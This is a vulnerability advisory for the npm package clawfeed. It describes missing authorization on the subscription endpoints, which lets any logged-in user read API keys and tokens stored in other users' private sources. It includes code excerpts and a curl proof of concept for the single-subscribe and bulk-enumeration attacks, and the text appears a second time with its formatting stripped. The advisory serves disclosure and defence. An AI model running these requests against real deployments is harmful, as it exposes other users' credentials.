Summary
The POST /api/subscriptions and POST /api/subscriptions/bulk endpoints allow any authenticated user to subscribe to any source by ID, including private and soft-deleted sources. Once subscribed, the user receives the full source details including the config field, which may contain API keys, authentication tokens, and internal endpoint URLs.
Details
Single subscribe at server.mjs:590-597:
if (req.method === 'POST' && path === '/api/subscriptions') {
const body = await parseBody(req);
if (!body.sourceId) return json(res, { error: 'sourceId required' }, 400);
const source = getSource(db, body.sourceId);
if (!source) return json(res, { error: 'source not found' }, 404);
subscribe(db, req.user.id, body.sourceId);
return json(res, { ok: true });
}
The endpoint checks that the source exists but does NOT verify:
source.is_public — allows subscribing to private sources
source.is_deleted — allows subscribing to deleted sources
source.created_by === req.user.id — allows subscribing to other users' private sources
Bulk subscribe at server.mjs:600-606:
if (req.method === 'POST' && path === '/api/subscriptions/bulk') {
const body = await parseBody(req);
const added = bulkSubscribe(db, req.user.id, body.sourceIds);
return json(res, { ok: true, added });
}
The bulk endpoint performs zero access control checks on the source IDs.
Subscription list leaks full config at db.mjs:371-379:
export function listSubscriptions(db, userId) {
return db.prepare(`
SELECT s.*, us.created_at as subscribed_at, ...
FROM user_subscriptions us
JOIN sources s ON us.source_id = s.id
`).all(userId);
}
SELECT s.* returns ALL columns including config.
PoC
Prerequisites: Two user accounts — Alice (victim with private sources) and Attacker.
# Step 1: Alice creates a private source with sensitive config
curl -X POST http://localhost:8767/api/sources \
-H "Cookie: session=<alice_session>" \
-H "Content-Type: application/json" \
-d '{"name":"My Private API","type":"custom_api","config":"{\"endpoint\":\"https://api.internal.company.com/data\",\"headers\":{\"Authorization\":\"Bearer sk-secret-12345\",\"X-API-Key\":\"private-key-abc\"}}","isPublic":false}'
# Returns: {"id":2}
# Step 2: Attacker subscribes to Alice's private source by ID
curl -X POST http://localhost:8767/api/subscriptions \
-H "Cookie: session=<attacker_session>" \
-H "Content-Type: application/json" \
-d '{"sourceId":2}'
# Returns: {"ok":true}
# Step 3: Attacker reads the leaked config
curl -s http://localhost:8767/api/subscriptions \
-H "Cookie: session=<attacker_session>" | python3 -m json.tool
Expected output:
[{
"id": 2,
"name": "My Private API",
"type": "custom_api",
"config": "{\"endpoint\":\"https://api.internal.company.com/data\",\"headers\":{\"Authorization\":\"Bearer sk-secret-12345\",\"X-API-Key\":\"private-key-abc\"}}",
"is_public": 0,
"is_deleted": 0,
"created_by": 100,
"subscribed_at": "2026-03-15 12:00:00"
}]
The attacker now has Alice's API keys (sk-secret-12345, private-key-abc) and the internal endpoint URL.
Bulk enumeration variant:
# Subscribe to sources 1-10 in one request — no per-source access checks
curl -X POST http://localhost:8767/api/subscriptions/bulk \
-H "Cookie: session=<attacker_session>" \
-H "Content-Type: application/json" \
-d '{"sourceIds":[1,2,3,4,5,6,7,8,9,10]}'
# Returns: {"ok":true,"added":8}
# Attacker is now subscribed to all existing sources including private ones
Impact
Any authenticated user can access any other user's private source configurations by subscribing to their source IDs. Source configs may contain API keys, Bearer tokens, authentication headers, and internal endpoint URLs. The bulk subscribe endpoint enables rapid enumeration of all sources in the system. Soft-deleted sources (which users believe are removed) remain accessible.
Affected products
- Ecosystem: npm
- Package name: clawfeed
- Affected versions: <= 0.8.1
- Patched versions: None
Severity
- Severity: High
- Vector string:
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
Weaknesses
- CWE-862: Missing Authorization
- CWE-639: Authorization Bypass Through User-Controlled Key
Summary
The
POST /api/subscriptionsandPOST /api/subscriptions/bulkendpoints allow any authenticated user to subscribe to any source by ID, including private and soft-deleted sources. Once subscribed, the user receives the full source details including theconfigfield, which may contain API keys, authentication tokens, and internal endpoint URLs.Details
Single subscribe at
server.mjs:590-597:The endpoint checks that the source exists but does NOT verify:
source.is_public— allows subscribing to private sourcessource.is_deleted— allows subscribing to deleted sourcessource.created_by === req.user.id— allows subscribing to other users' private sourcesBulk subscribe at
server.mjs:600-606:The bulk endpoint performs zero access control checks on the source IDs.
Subscription list leaks full config at
db.mjs:371-379:SELECT s.*returns ALL columns includingconfig.PoC
Prerequisites: Two user accounts — Alice (victim with private sources) and Attacker.
Expected output:
[{ "id": 2, "name": "My Private API", "type": "custom_api", "config": "{\"endpoint\":\"https://api.internal.company.com/data\",\"headers\":{\"Authorization\":\"Bearer sk-secret-12345\",\"X-API-Key\":\"private-key-abc\"}}", "is_public": 0, "is_deleted": 0, "created_by": 100, "subscribed_at": "2026-03-15 12:00:00" }]The attacker now has Alice's API keys (
sk-secret-12345,private-key-abc) and the internal endpoint URL.Bulk enumeration variant:
Impact
Any authenticated user can access any other user's private source configurations by subscribing to their source IDs. Source configs may contain API keys, Bearer tokens, authentication headers, and internal endpoint URLs. The bulk subscribe endpoint enables rapid enumeration of all sources in the system. Soft-deleted sources (which users believe are removed) remain accessible.
Affected products
Severity
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:NWeaknesses